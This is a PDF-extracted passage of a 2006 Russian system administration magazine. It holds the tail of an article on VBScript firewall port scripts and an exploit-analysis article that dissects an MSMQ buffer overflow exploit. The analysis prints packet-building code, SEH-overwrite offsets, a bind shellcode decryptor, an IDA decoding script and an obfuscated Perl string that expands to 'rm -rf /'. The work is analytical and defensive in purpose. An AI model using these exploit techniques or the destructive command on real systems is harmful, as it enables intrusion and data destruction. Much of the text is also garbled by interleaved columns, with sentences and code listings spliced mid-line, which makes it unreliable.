безопасность GetProfileByType – позволяет получить тип профиля (Domain или Standard). Например, вызов HNetCfg. FwMgr.GetProfileByType для сценария, используемого в данной статье вернет 0 (Domain). Может использоваться только для объекта CurrentProfile. GloballyOpenPorts – это список открытых портов для данного профиля. Данное свойство доступно через объект профиля. IcmpSettings – свойство доступно только для чтения и определяет настройки по протоколу ICMP. Также доступно через свойства профиля. NotificationsDisabled – определяет, отправлять ли пользователю уведомления, возможные значения TRUE или FALSE. Доступно через свойства профиля. RemoteAdminSettings – разрешать или запрещать удаленное управление системой. Доступно через свойства профиля. Services – набор служб (Services), содержащихся в профиле. Также доступно через свойства профиля. Type – показывает тип профиля, доменный или стандартный (0 для доменного и 1 для стандартного). Доступно через свойства профиля. Определившись с объектами, которые вы можете использовать при написании WSH-сценария, попробуйте открыть нужные порты на пользовательской машине. Отмечу, что сценарий использует тот же набор параметров, что и групповая политика Active Directory, с одной лишь разницей, что здесь есть возможность динамически задавать и изменять политику межсетевого экрана. Развернуть сценарий на удаленной машине можно, к примеру, отправив данный файл прикрепленным к письму или с помощью FTP. В любом случае вмешательство пользователя для установки сценария будет минимальным. Листинг 1. Сценарий для открытия нового порта ' объявляется объект HNetCfg Set objFirewall = CreateObject("HNetCfg.FwMgr") ' используется текущий профиль Set objPolicy = objFirewall.LocalPolicy.CurrentProfile ' создается новый открытый порт Set objPort = CreateObject("HNetCfg.FwOpenPort") objPort.Port = 10001 ' номер порта objPort.Name= "Antivirus" ' наименование objPort.IPVersion=4 ' версия IP objPort.Protocol= "TCP" ' вид протокоа ' с каких адресов разрешен доступ objPort.RemoteAddresses="172.29.0.0/24" objPort.Enabled = TRUE ' доступ разрешен ' используется список уже открытых портов Set colPorts = objPolicy.GloballyOpenPorts ' добавляется новый порт в список уже открытых портов errReturn = colPorts.Add(objPort)
По аналогии для остальных портов вы сможете написать подобный сценарий. В приведенном примере указание версии протокола IP является необязательным, так как по умолчанию используется IP v4. Как видно из примера, сначала открывается порт, затем прописываются необходимые параметры, такие как вид транспортного протокола, подсеть, которой разрешен доступ и наименование. И в завершении все данные по новому порту добавляются в список уже открытых портов.
№8, август 2006
В продолжении темы приведу пример сценария, который разрешает доступ по сети к указанному приложению, то есть авторизовывает приложение. Как уже упоминалось выше, этот способ является не слишком безопасным, так как приложение может использовать различные порты, но иногда он более удобен, чем явное открытие портов. В следующем примере откроем доступ для приложения, находящегося по адресу c:\myapp.exe для всех узлов по протоколу IP версии 4. Листинг 2. Сценарий для авторизации приложения ' объявляем объект Set objFirewall = CreateObject("HNetCfg.FwMgr") ' используем текущий профиль Set objPolicy = objFirewall.LocalPolicy.CurrentProfile ' объявляем объект Set objApplication = ↵ CreateObject("HNetCfg.FwAuthorizedApplication") objApplication.Name = "Corp App" ' указываем имя objApplication.IPVersion = 4 ' версия IP ' путь к приложению objApplication.ProcessImageFileName = "c:\myappl.exe" ' с каких адресов разрешен доступ objApplication.RemoteAddresses = "*" objApplication.Enabled = True ' авторизуем приложение Set colApplications = objPolicy.AuthorizedApplications ' и добавляем его в список авторизованных приложений colApplications.Add(objApplication)
Иногда возникает необходимость в получении списка всех открытых портов, а также их свойств: Листинг 3. Сценарий, выводящий список всех открытых портов Set objFirewall = CreateObject("HNetCfg.FwMgr") Set objPolicy = objFirewall.LocalPolicy.CurrentProfile Set colPorts = objPolicy.GloballyOpenPorts For Each objPort in colPorts Wscript.Echo "Port name: " & objPort.Name Wscript.Echo "Port number: " & objPort.Port Wscript.Echo "Port IP version: " & objPort.IPVersion Wscript.Echo "Port protocol: " & objPort.Protocol Wscript.Echo "Port scope: " & objPort.Scope Wscript.Echo "Port remote addresses: ↵ " & objPort.RemoteAddresses Wscript.Echo "Port enabled: " & objPort.Enabled Wscript.Echo "Port built-in: " & objPort.Builtin Next
Эта информация вам пригодится, когда вы будете изучать состояния текущих правил межсетевого экрана и определять, какие порты необходимо открыть или закрыть. Завершая тему персональных межсетевых экранов, отмечу, что по утверждениям представителей корпорации Microsoft, в следующей версии операционной системы Windows межсетевой экран будет двусторонним, то есть можно открывать/закрывать как входящие, так и исходящие соединения. Что ж, посмотрим, но думаю, подобное нововведение окажется весьма полезным, так как позволит еще больше защитить рабочие станции и пользователей. Поживем – увидим. 1. Don Jones, Jeffery Hicks Advanced VBScript for Microsoft Windows Administrators. 2. Windows Server 2003. Справочник администратора.
57
безопасность
Аудит и дизассемблирование эксплоитов
Крис Касперски Эксплоиты, демонстрирующие наличие дыры (proof-of-concept), обычно распространяются в исходных текстах, но основной функционал заключен в shell-коде, анализ которого представляет весьма нетривиальную задачу, требующую инженерного склада ума, развитой интуиции, обширных знаний и… знания специальных приемов дизассемблирования.
С
ообщения о дырах появляются постоянно. Стоит только заглянуть на www.securityfocus.com и… ужаснуться. Каждый день приносит по 10-20 новых дыр, затрагива-
58
ющих практически весь спектр ап- ния он успел обрасти полусотней дыр, паратно-программного обеспечения. в том числе и критических. Ладно, осВы до сих пор пользуетесь FireFox, счи- тавим FireFox в покое и возьмем братая его безопасным? Да как бы не так! зузер Opera – почти два десятка ошиЗа свое недолгое время существова- бок (из которых 17 зарегистрировано
безопасность на одном лишь www.securityfocus.com) быстро прочищают мозги от рекламной шелухи, позиционирующей Opera не только как самый быстрый, но и понастоящему безопасный браузер. Уязвимости встречаются даже в текстовых браузуерах наподобие Lynx. Про Internet Explorer лучше вообще не вспоминать! Стоит ли после этого удивляться, что черви размножаются со скоростью лесного пожара и регулярно кладут целые сегменты Сети, если не весь Интернет! Программное обеспечение ненадежно. Предоставленное самому себе, без ухода и надзора администратора оно быстро становится жертвой хакерских атак, превращаясь в рассадник вирусов и червей. Если уязвимость затрагивает те компоненты системы, без которых можно и обойтись (например, Message Queuing или RPC DCOM), их можно отключить или оградить брандмауэром. В противном случае, необходимо установить заплатку от «родного» производителя или сторонних поставщиков. Проблема в том, что официальные обновления зачастую выпускаются лишь через несколько месяцев после официального же признания дыры. А сколько дыр так и остаются «непризнанными»? Производителей программного обеспечения можно понять: ведь прежде, чем признавать дыру дырой, необходимо убедиться, что это именно дыра, а вовсе не «авторское видение функциональности» и добиться устойчивого воспроизведения сбоя. У многих компаний существует политика замалчивания дыр и уязвимость либо молча устраняется с выходом очередной версии продукта (кумулятивного пакета обновления), либо не исправляется вообще! Яркий пример тому – уязвимость «MS IE (mshtml.dll) OBJECT tag vulnerability», обнаруженная 23 апреля 2006 (см. /pipermail/full-disclosure/ 2006-April/045422.html), и все еще не признанная Microsoft. Чтобы администратор мог спать спокойно и не дергаться каждые пять минут, пытаясь обнаружить в логах брандмауэра «что-то необычное», первым делом необходимо выяснить – действительно ли вверенная ему система уязвима? Далеко не всем сообщениям о дырах можно верить. По общепринятой практике, первооткрыва-
№8, август 2006
Рисунок 1. Устройство пакета-убийцы, передаваемого на атакуемый сервер
тель дыры должен подтвердить свои поражаемых систем заметно возрасслова программой, демонстрирую- тет (тем более что большинство эксщей наличие уязвимости, но не совер- плоитов закладывается на фиксирошающей ничего деструктивного. В за- ванные адреса, варьирующие от веррубежной литературе она называется сии к версии, поэтому эксплоит, разexploit proof-of-concept. работанный для английской версии Часто к эксплоиту прилагается пе- Windows 2000, может не работать речень тестируемых (tested) и уязви- в русской и наоборот). Эксплоиты обычно запускают мых (affected) платформ и все, что необходимо сделать, – это запустить для удовлетворения чувства собственэксплоит на своей системе и посмот- ного любопытства. Никакой жизненной реть, справится ли он с ней или нет. необходимости в этом нет. Просто инЕстественно, атаковать «живой» сер- тересно и ничего более. Но изучить код вер или основную рабочую станцию эксплоита, чтобы знать, что вы вообще может только самоубийца (или очень запускаете, попутно устраняя ошиббезответственный человек) и все по- ки, допущенные его разработчиками тенциально опасные эксперименты и адоптируя shell-код к своей систеследует выполнять на «копии» сер- ме, корректируя фиксированные адревера/рабочей станции, специально са при необходимости, никогда не попредназначенной для тестовых це- мешает. лей. Под VMWare и другими эмуляторами подобного типа эксплоиты луч- Как препарируют ше не запускать. Во-первых, ряд вре- эксплоиты доносных эксплоитов распознает на- Основной код эксплоита, как правило, личие виртуальных машин и отказы- пишется на переносимых высокоуроввается работать. Во-вторых, вырвать- невых языках, таких как Си/Си++, Perl, ся из застенок виртуальной маши- Python. Экзотика типа Ruby встречаетны вполне реально (см. статью «По- ся намного реже, но все-таки встречабег из-под VMWare», которую мож- ется. В практическом плане это ознано скачать с ftp://nezumi.org.ru/pub/ чает, что исследователь должен влаvm-escape.zip). деть десятком популярных языков хоОтрицательный результат сам тя бы на уровне беглого чтения лиспо себе еще ничего не доказывает. тингов. Впрочем, в девяти из десяДаже если атака не удалась, у нас нет ти случаев, ничего интересного в них никаких оснований считать, что сис- не встречается, и весь боевой заряд тема находится в безопасности. И это концентрируется в «магических» строне паранойя, а реальный факт, с кото- ковых массивах, оформленных в стирым следует считаться. Возможно, это ле «\x55\x89\xE5…\xC7\x45\xFC». Вот просто эксплоит такой кривой, но сто- это и есть shell-код в ASCII-представит его слегка подправить, как список лении. Высокоуровневый код – всего
59
безопасность Листинг 1. Фрагмент эксплоита, ответственный за сборку пакета-убийцы
прилагаемого к статье в файле 1075 (см. сайт www.samag.ru, раздел «Ис// выделяем память buff = (char *) malloc(4172); memset(buff, NOP, 4172); ptr = buff; ходный код»). Базовый код, написанный на языке Си, рассматривать // RPC-заголовки memcpy(ptr,dce_rpc_header1,sizeof(dce_rpc_header1)-1);ptr+=sizeof(dce_rpc_header1)-1; не будем, а сразу перейдем к shell. memcpy(ptr, tag_private, sizeof(tag_private)-1);ptr+=sizeof(tag_private)-1; Самое сложное – это опредеmemcpy(buff+1048, dce_rpc_header2, sizeof(dce_rpc_header2)-1); лить точку входа в shell-код, то есть memcpy(buff+1048*2, dce_rpc_header2, sizeof(dce_rpc_header2)-1); ту точку, которой будет передано упmemcpy(buff+1048*3, dce_rpc_header3, sizeof(dce_rpc_header3)-1); равление при переполнении. В дан// offsets ном случае нам повезло, и создатель ptr=buff;ptr+=438; memcpy(ptr, offsets, sizeof(offsets)-1);ptr += sizeof(offsets)-1; эксплоита структурировал листинг, разбив двоичные данные на шесть // shellcode memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1); массивов, первые четыре из которых (dce_rpc_header1, tag_private, лишь обертка, образно говоря, тетива или пусковая уста- dce_rpc_header2 и dce_rpc_header3) представляют собой новка, а shell-код – разящее острие. заголовки RPC-пакетов, в которых для нас нет ничего инМногие исследователи допускают роковую ошибку: тересного. анализируя shell-код, они забывают о том, что основной А вот массив offsets включает в себя ключевые струккод также может содержать вредоносные инструкции на- туры данных, передающие управление на shell-код. Споподобие «rm -rf /». При знании языка пакости подобного соб передачи основан на подмене SEH-фреймов по усотипа обнаруживаются без труда, если, конечно, злоумыш- вершенствованной методике, обходящей защиту от пеленник не стремился воспрепятствовать анализу. Сущест- реполнения, появившуюся в Windows 2000, Windows XP вует масса способов замаскировать вредоносный код в бе- и Server 2003. И хотя это не отражено в комментариях явзобидные конструкции. Взять хотя бы строку «'$??s:;s: ным образом (создатели shell-кодов традиционно неразгоs;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'», раз- ворчивы), опытные кодокопатели распознают подложные ворачиваемую языком Perl в команду «rm -rf /», которая фреймы с первого взгляда (тем более что кое-какие компри запуске из-под root уничтожает все содержимое дис- ментарии там все-таки присутствуют, но даже если бы их ка целиком. и не было, это не сильно бы затруднило анализ). Отсюда вывод: никогда не запускайте на выполнение Основная часть shell-кода (расположенная в массиве код, смысла которого до конца не понимаете и уж тем более bind_shellcode) системно независима (ну, почти), а все фикне давайте ему администраторских полномочий! Не под- сированные адреса вынесены в массив offsets, который при давайтесь на провокацию! Даже на авторитетных сайтах тестировании под различными версиями операционных сиспроскакивают эксплоиты, созданные с одной-единствен- тем имеет наглость требовать «ручной» коррекции. Даже ной целью – отомстить, если не всему человечеству, то хо- при наличии не залатанной дыры эксплоит может не работя бы его части. Помните, что самая большая дыра в сис- тать только потому, что по фиксированным адресам распотеме – это человек, знающий пароль root (администрато- ложено не то, что ожидалось. Но прежде, чем приступать ра) и запускающий на рабочей машиЛистинг 2. Массив offsets хранит подложные SEH-фреймы для нескольких не все без разбора! операционных систем, передающие управление на shell-код Больше на анализе базового коunsigned char offsets[] = да мы останавливаться не будем (ес/* entry point (jmp over) */ ; // SEH-FRAME for Windows 2000 ли вы знаете язык – это тривиально, "\xEB\x08\x90\x90" ; // ! *prev | jmp lab_0Ah ! /* mqsvc.exe - pop reg; pop reg; retn; */ ; // !------------------------! если нет – не надейтесь, что автору "\xE9\x14\x40\x00" ; // ! *handler ! удалось уложить многостраничные ; // !------------------------! руководства в скромные рамки жур"\x90\x90\x90\x90\x90\x90\x90\x90" ; // подбор SEH-фрейма для w2k server нальной статьи).
Анализ message queuing эксплоита Одного лишь знания ассемблера и API-операционной системы для исследования shell-кода будет явно недостаточно. Здесь все сложнее и… интереснее. Продемонстрируем технику дизассемблирования shell-кода (со всеми сопутствующими ей приемами и трюками) на примере анализа «Message Queuing Buffer Overflow Vulnerability Universal» eэксплоита (http://milw0rm.com/exploits/1075),
60
/* :LAB_0Ah */ /* entry point (jmp over) */ "\xEB\x08\x90\x90" /* mqsvc.exe - pop reg; pop reg; retn; */ "\xE9\x14\x40\x00"
; ; ; ; ;
// // // // //
SEH-FRAME for W2K Server/AdvServer ! *prev | jmp lab_1Ah ! !----------------- --------------! ! *handler ! !--------------------------------!
"\x90\x90\xEB\x1A\x41\x40\x68\x6F\x75\x73" ; // подбор SEH-фрейма для XP "\x65\x6F\x66\x64\x61\x62\x75\x73\x48\x41" ; // «A@houseofdabusHA» /* :LAB_1Ah */ /* entry point (jmp over) */ "\xEB\x06\x90\x90" /* mqsvc.exe - pop reg; pop reg; retn; */ "\x4d\x12\x00\x01" ; // !----------------------!
; ; ; ;
"\x90\x90\x90\x90\x90\x90"; /* :LAB_36h */
; // не значащие NOP
// // // //
=== отсюда начинается актуальный shell-код ===
SEH-FRAME for Windows XP ! *prev | jmp lab_36h ! !----------------------! ! *handler !
безопасность к анализу массива offsets, необходимо определить его местоположение в пакете-убийце, вызывающем переполнение. Приведенный фрагмент базового кода собирает все массивы в непрерывный буфер, передаваемый на атакуемый сервер (см. листинг 1). Вначале пакета (см. рис. 1) располагается RPC-заголовок dce_rpc_header1, за ним идет NetBIOS-имя атакуемого узла и тег private. На некотором отдалении от начала заголовка, по смещению 438 (1B6h) лежит массив offsets, сразу за концом которого идет shell-код. Далеко за ним обнаруживается еще один RPC-заголовок dce_rpc_header2 и dce_rpc_header3 (на рис. 1 не показан). Все остальное пространство пакета заполнено командами NOP (90h). Процесс формирования пакета хорошо наблюдать под отладчиком (в данном случае использовался Microsoft Visual Studio Debugger) или перехватить уже готовый пакет, используя sniffer. Сразу же возникает вопрос – в каком именно месте возРисунок 2. Расположение SEH-фреймов относительно никает переполнение и каким именно образом происходит переполняющихся буферов передача управления на shell-код? Запустив MSMQ-служДопустим, никакого комментария у нас бы не было. бу под отладчиком, мы увидим, что массив offsets ложится прямо поверх SEH-фрейма, подменяя его содержимое, И что тогда? Загружаем mqsvc.exe в hiew, двойным нажаа shell-код затирает адрес возврата из функции, заменяя тием клавиши <ENTER> переходим в дизассемблерный реRET произвольным адресом, указывающим в «космос», при жим, нажимаем <F5> и вводим адрес «.4014E9» (точка укаобращении к которому возбуждается исключение и… уп- зывает, что это именно адрес, а не смещение). Видим: равление получает подложный SEH-фрейм, передающий управление на shell-код. Все просто! Главное – отладчик Листинг 3. Последовательность pop reg/pop reg/retn, иметь! И… установленную службу Message Queuing, котосодержащаяся в файле mqsvc.exe рой в распоряжении кодокопателя может и не быть. К то; вытолкнуть одно двойное слово из стека му же мы договорились, прежде чем запускать эксплоит .004014E9: 5F pop edi (пусть даже под отладчиком!), сначала реконструировать ; вытолкнуть следующее двойное слово .004014EA: 5E pop esi его алгоритм. ; выткнуть адрес возврата и передать по нему управление А как мы его можем реконструировать? Хорошая голово.004014EB: C3 retn ломка для знатоков! Отбросив RPC-заголовки, мы остаемЕстественно, данный способ не универсален и вообще ся только с массивом offsets и shell-кодом. Очевидно, смещение массива offsets выбрано не случайно и играет в пе- говоря ненадежен, поскольку, в другой версии mqsvc.exe реполнении ведущую роль, поскольку bind_shellcode пред- адрес «магической» последовательности наверняка будет ставляет собой вполне «стандартный» shell-код, встречаю- иной, хотя в Windows 2000 Home, Windows 2000 Professional, щийся во многих других эксплоитах и совпадающий с ним Windows 2000 Server/AdvServer адреса совпадают, поскольку используется одна и та же версия mqsvc.exe, а вот байт-в-байт. в Windows XP адрес уже «уплывает». Рассмотрим массив offsets поближе (см. листинг 2). Интуитивно мы чувствуем, что передача управления В начале массива расположена довольно характерная структура, состоящая из двух двойных слов, первое из ко- на shell-код осуществляется через RET, но остается неторых включает в себя двухбайтовую команду безусловного понятным каким образом указатель на shell-код мог очуперехода JMP SHORT (опкод – EBh), дополненную до двой- титься в стеке, ведь никто туда его явно не засылал! Заного слова парой NOP (впрочем, поскольку они все равно пихать в переполняющийся буфер можно все, что угодно, не исполняются, здесь может быть все, что угодно). Следу- но при этом придется указать точный адрес размещения ющее двойное слово указывает куда-то вглубь адресного shell-кода в памяти, а для этого необходимо знать значепространства – 004014E9h и, судя по значению, принадле- ние регистра ESP на момент атаки, а оно в общем случае жит прикладному приложению. В данном случае – програм- неизвестно. Структурные исключения позволяют элегантно решить ме mqsvc.exe, реализующей службу Message Queuing. Комментарий, заботливо оставленный создателем эксплоита, эту задачу. Вместо того, чтобы затирать адрес возврата говорит, что по этому адресу он ожидает увидеть конструк- (как делало это целое поклонение кодокопателей), мы подцию pop reg/pop reg/retn. Это классическая последователь- меняем оригинальный SEH-фрейм атакуемой программы ность, используемая для передачи управления через под- своим. Теоретически, SEH-фреймы могут быть расположеложные SEH-фреймы, подробно описанная в статье «Экс- ны в любом месте, но практически все известные компиплуатирование SEH в среде Win32» (http://www.securitylab.ru/ ляторы размещают их в стеке, на вершине кадра, принаcontest/212085.php), написанной houseofdabus. Он же напи- длежащего данной функции, то есть по соседству с сохраненным EPB и RET: сал и разбираемый нами эксплоит.
№8, август 2006
61
безопасность Листинг 4. Фрагмент функции, формирующий новый SEH-фрейм (компилятор – Microsoft Visual C++)
в EBX попадет адрес текущего SEH-фрейма. А это значит, что для достижения задуманной цели мы должны поверх ; открыть новый... handler поместить указатель на команду JMP EBX (FFh E3h) .text:0040104D push ebp или CALL EBX (FFh D3h), которую можно найти как в самой ; ...кадр стека .text:0040104E mov ebp, esp атакуемой программе, так и в памяти операционной систе; это последний SEH-фрейм мы (естественно, адрес будет «плавать» от версии к вер.text:00401050 push 0FFFFFFFFh ; предшествующий SEH-обработчик сии, что есть неизбежное зло, но с этим надо смириться). .text:00401052 push offset stru_407020 Тогда при возникновении исключения управление будет ; новый SEH-обработчик .text:00401057 push offset _except_handler3 передано на двойное слово, содержащее указатель prev. ; получить указатель на SEH-фрейм Да-да! Не по указателю prev, а именно на сам указатель, .text:0040105C mov eax, large fs:0 ; предыдущий SEH-обработчик который следует заменить на JMP SHORT sellcode. Пос.text:00401062 push eax кольку команды перехода в x86-процессорах относитель; зарегистрировать новый SEH-фрейм .text:00401063 mov large fs:0, esp ные, знать точное расположение shell-кода в памяти уже необязательно. В Windows XP эта лазейка была прикрыта, но! Осталась Отсюда: если мы можем затереть адрес возврата, подмена SEH-фрейма не составит никаких проблем (см. рис. 2)! функция-фильтр __except_handler3, входящая в состав RTLкомпилятора, а потому никак не зависящая от операционСама структура фреймов проста до безобразия: ной системы. Рассмотрим окрестности дизассемблерного Листинг 5. Структура SEH-фреймов кода, передающего управление на зарегистрированный программистом обработчик. struct EXCEPTION_REGISTRATION { // /* // /* };
предыдущий SEH-фрейм 00h */ EXCEPTION_REGISTRATION *prev; обработчик исключения 04h */ DWORD *handler;
Первое двойное слово указывает на предыдущий SEHфрейм в цепочке (если текущий обработчик не знает, что делать с исключением, он отдает его предыдущему обработчику; если ни один из обработчиков не может обработать исключение, операционная система выбрасывает знаменитое сообщение о критической ошибке и завершает работу приложения в аварийном режиме). Следующее двойное слово содержит адрес процедуры обработчика исключений (не путать с функцией-фильтром исключений, которая обслуживаться не операционной системой, а компилятором!). Очень заманчиво записать сюда указатель на shell-код, но вся проблема в том, что этого указателя мы не знаем и в общем случае не можем узнать! На самом деле ситуация не так уж плачевна. Рассмотрим процесс обработки исключений повнимательнее. В тот момент, когда прикладной код пытается сделать что-то недопустимое, процессор генерирует прерывание. Операционная система перехватывает его и передает внутренней функции KiUserExceptionDispatcher, содержащейся внутри NTDLL.DLL. Та в свою очередь вызывает промежуточную функцию RtlUnwind (все из той же NTDLL.DLL), передающую управление фильтру исключений, установленным компилятором (в случае Microsoft Visual C++ эта функция называется __except_handler3), которая и вызывает прикладной обработчик, зарегистрированный программистом уязвимого приложения. Получается следующая цепочка вызовов: Листинг 6. Последовательность вызова функций при обработке исключения NTDLL.DLL!KiUserExceptionDispatcher → NTDLL.DLL!RtlUnwind → __except_handler3
В Windows 2000 функция NTDLL.DLL!RtlUnwind оставляет немного «мусора» в регистрах, в результате чего
62
Листинг 7. Фрагмент RTL-функции __except_handler3, сохраняющий указатель на текущий SEH-фрейм перед вызовом обработчика исключения ; указатель на текущий SEH-фрейм .text:004012D1 mov esi, [ebx+0Ch] .text:004012D4 mov edi, [ebx+8] .text:004012D7 ; CODE XREF: unknwn_libname_1+90↓j .text:004012D7 unknwn_libname_2: ; обработчиков больше нет? .text:004012D cmp esi, 0FFFFFFFFh ; если да, завершаем программу .text:004012DA jz short unknwn_libname_5 .text:004012DC lea ecx, [esi+esi*2] .text:004012DF cmp dword ptr [edi+ecx*4+4], 0 ; Microsoft VisualC 2-7/net .text:004012E4 jz short unknwn_libname_3 ; сохраняем указатель на фрейм .text:004012E6 push esi ; сохраняем указатель на кадр .text:004012E7 push ebp .text:004012E8 lea ebp, [ebx+10h] ; вызываем обработчик исключения .text:004012EB call dword ptr [edi+ecx*4+4] ; восстанавливаем кадр .text:004012EF pop ebp ; восстанавливаем фрейм .text:004012F0 pop esi
Вот оно! Перед вызовом обработчика исключения, функция временно сохраняет указатель на текущий SEH-фрейм в стеке (команда PUSH ESI), который на момент вызова обработки будет расположен по смещению +8h. Причем исправить это средствами операционной системы никак невозможно! Необходимо переписать RTL каждого из компиляторов и перекомпилировать все программы! Для реализации атаки достаточно заменить handler указателем на последовательность pop reg/pop reg/ret или add esp, 8/ret (которая достаточно часто встречается в эпилогах функций), а поверх prev как и раньше записать jump на shell-код. Первая команда pop сталкивает с вершины стека уже ненужный адрес возврата, оставленный call, вторая – выбрасывает сохраненный регистр EBP, а ret передает управление на текущий SEH-фрейм. Теперь структура массива offsets становится более или менее понятна. Мы видим три подложных SEH-фрейма – по одному для каждой операционной системы, расположен-
безопасность ных в памяти с таким расчетом, чтобы они совпадали с текущими SEH-фреймами атакуемой программы. Это самая капризная часть эксплоита, поскольку дислокация фреймов зависит как от версии атакуемой программы (добавление или удаление локальных переменных внутри уязвимой функции изменяет расстояние между фреймом и переполняющимся буфером), так и от начального положения стека на момент запуска программы (за это отвечает операционная система). В дополнение к этому необходимо следить за тем, чтобы handler действительно указывал на pop reg/pop reg/ret (add esp,8/ret), а не на что-то другое. В противном случае exploit работать не будет, но если все значения подобранны правильно, управление получит bind_shellcode, который мы сейчас попробуем дизассемблировать, но прежде необходимо перевести ASCII-строку в двоичный вид, чтобы его «проглотил» hiew или IDA PRO. Вместо того, чтобы писать конвертор с нуля, воспользуемся возможностями компилятора языка Си, написав несложную программу, состоящую фактически всего из одной строки (остальные – объявления): Листинг 8. Программа, сохраняющая ASCII-массив shellcode[] в одноименный двоичный файл, пригодный для дизассемблирования #include <stdio.h> // сюда помещаем массив для преобразования char shellcode[]="\xXX\xXX\xXX\xXX"; main(){FILE *f;if(f=fopen("shellcode","wb")) ↵ fwrite(shellcode, sizeof(shellcode),1,f);}
Рисунок 3. Расшифровка shell-кода в hiew
повнимательнее, мы с удовлетворением обнаруживаем тривиальный расшифровщик в лице инструкции XOR, следовательно, точка входа в shell-код определена нами правильно и все, что нужно, – это расшифровать его, а для этого мы должны определить значение регистров EBX и ECX, используемых расшифровщиком. С регистром ECX разобраться несложно – он инициализируется явно путем нехитрых математических преобразований: sub ecx,ecx→ecx:=0; sub ebx,-50h→add ecx,50h→ecx := 50h
то есть на входе в расшифровщик ECX будет иметь значение 50h – именно столько двойных слов нам предстоит расшифровать. С регистром EBX все обстоит намного сложнее, и, чтобы Выделяем массив bind_shellcode и копируем в нашу программу, по ходу дела переименовывая его в shellcode. Ком- вычислить его значение, необходимо углубиться во внутпилируем с настройками по умолчанию, запускаем. На дис- ренние структуры данных сопроцессора. Команда FLDZ поке образуется файл shellcode, готовый к загрузке в IDA Pro мещает на стек сопроцессора константу +0.0, а команда или hiew (только не забудьте переключить дизассемблер FSTENV сохраняет текущую среду сопроцессора по адресу [esp-0Ch]. Открыв «Intel Architecture Software Developer's в 32-разрядный режим!). Manual Volume 2: Instruction Set Reference», среди прочей поНачало дизассемблерного листинга выглядит так: лезной информации мы найдем и сам формат среды FPU: Листинг 9. В начале shell-кода расположен расшифровщик, расшифровывающий весь остальной код
; ECX := 0 00000000: 29C9 sub ecx,ecx ; EBX := 50h 00000002: 83E9B0 sub ecx,-050 ; загрузить +0.0 на стек FPU 00000005: D9EE fldz ; сохранить среду FPU в памяти 00000007: D97424F4 fstenv [esp][-0C] ; EBX := &fldz 0000000B: 5B pop ebx 0000000C: 81731319F50437 xor d,[ebx][13],03704F519 ; ^расшифровываем двойными словами 0000000C ; EBX += 4:следующее двойное слово 00000013: 83EBFC sub ebx,-004 ; мотаем цикл 00000016: E2F4 loop 00000000C (1) ; зашифрованная команда 00000018: E59F in eax,09F ; зашифрованная команда 0000001A: EF out dx,eax
Первые 8 команд более или менее понятны, а вот дальше начинается явный мусор, типа инструкций IN и OUT, которые при попытке выполнения на прикладном режиме возбуждают исключение. Тут что-то не так! Либо точка входа в shell-код начинается не с первого байта (но это противоречит результатам наших исследований), либо shell-код зашифрован. Присмотревшись к первым восьми командам
№8, август 2006
Листинг 10. Псевдокод команды fstenv, сохраняющей среду FPU FPUControlWord → FPUStatusWord → FPUTagWord → FPUDataPointer → FPUInstructionPointer → FPULastInstructionOpcode →
SRC(FPUControlWord); SRC(FPUStatusWord); SRC(FPUTagWord); SRC(FPUDataPointer); SRC(FPUInstructionPointer); SRC(FPULastInstructionOpcode);
Наложив эту структуру на стек, мы получим вот что: Листинг 11. Карта размещения среды в стековой памяти ->- fstenv -> ->--- esp ---> <- pop ebx -<- + +
0Ch 08h 04h 00h 04h 08
FPUControlWord FPUStatusWord FPUTagWord FPUDataPointer FPUInstructionPointer FPULastInstructionOpcode
Из этой схемы видно, что команда POP EBX выталкивает в регистр EBX адрес последней FPU-инструкции, которой и является FLDZ, расположенная по смещению 5h (условно). При исполнении на «живом» процессоре смещение будет наверняка другим, и, чтобы не погибнуть, shell-код должен определить, где именно он располагается в памяти. Разработчик shell-кода применил довольно необычный подход, в то время как подавляющее большинство ограничивается тривиальным CALL/POP REG. Сложив получен-
63
безопасность ное смещение 5h с константой 13h, фигурирующей в инструкции XOR, мы получим 18h – адрес первого зашифрованного байта. Зная значения регистров, нетрудно расшифровать shellкод. В IDA Pro для этого достаточно написать следующий скрипт: Листинг 12. Скрипт для IDA Pro, расшифровывающий shell-код auto a,x; // объявление переменных for(a = 0; a < 0x50; a++) // цикл расшифровки { // читаем очередное двойное слово x=Dword(MK_FP("seg000",a*4+0x18)); // расшифровываем x = x ^ 0x3704F519; //записываем расшифрованное значение PatchDword(MK_FP("seg000",a*4+0x18),x); }
и получаем 69h. Именно по этому смещению и будет передано управление! А команды, идущие за инструкцией CALL, расположены чисто для маскировки, чтобы противник подольше голову поломал. Хорошо, отправляемся в район 69h и смотрим, что хорошего у нас там: Листинг 14. Код, вычисляющий базовый адрес KERNEL32.DLL через PEB ; ebx := 0 seg000:00000069 31 DB ; PEB seg000:0000006B 64 8B 43 30 ; PEB_LDR_DATA seg000:0000006F 8B 40 0C mov ; InInitializationOrderModuleList seg000:00000072 8B 70 1C mov ; EAX := *ESI seg000:00000075 AD ; BASE of KERNEL32.DLL seg000:00000076 8B 40 08 mov
xor
ebx, ebx
mov
eax, fs:[ebx+30h]
eax, [eax+0Ch] esi, [eax+1Ch] lodsd
Нажимаем <Shift+F2>, в появившемся диалоговом окне eax, [eax+8] вводим вышеприведенный код, запуская его на выполнеС первой командой, обнуляющей EBX через XOR, все поние по <Ctrl+Enter>. В hiew расшифровка осуществляется еще проще. Открываем файл shellcode, однократным нажа- нятно. Но вот вторая… что-то считывает из ячейки, лежатием клавиши <ENTER> переводим редактор в hex-режим, щей по адресу FS:[EBX+30]. Селектор FS указывает на обподводим курсор к смещению 18h – туда, где кончается рас- ласть памяти, где операционная система хранит служебшифровщик и начинается зашифрованный код (см. лис- ные (и практически никак недокументированные) данные тинг 9), переходим в режим редактирования по <F3>, на- потока. К счастью, в нашем распоряжении есть Интернет. жимаем <F8> (Xor) и вводим константу шифрования, за- Набираем в Googlе «fs:[30h]» (с кавычками!) и получаем куписанную с учетом порядка байтов на x86 задом наперед: чу ссылок от рекламы картриджей TK-30H до вполне вме19h F5h 04h 37h и жмем <F8> до тех пор, пока курсор не дой- няемых материалов, из которых мы узнаем, что в ячейке дет до конца файла. Сохраняем изменения клавишей <F9> FS:[30h] хранится указатель на Process Enviroment Block – блок окружения процесса или сокращенно PEB. и выходим (см. рис. 3). Описание самого PEB (как и многих других внутренних После расшифровки shell-код можно дизассемблировать в обычном режиме. Начинаем анализ и… тут же вля- структур операционной системы) можно почерпнуть из запываемся в древний, но все еще работающий антидизас- мечательной книги «The Undocumented Functions Microsoft Windows 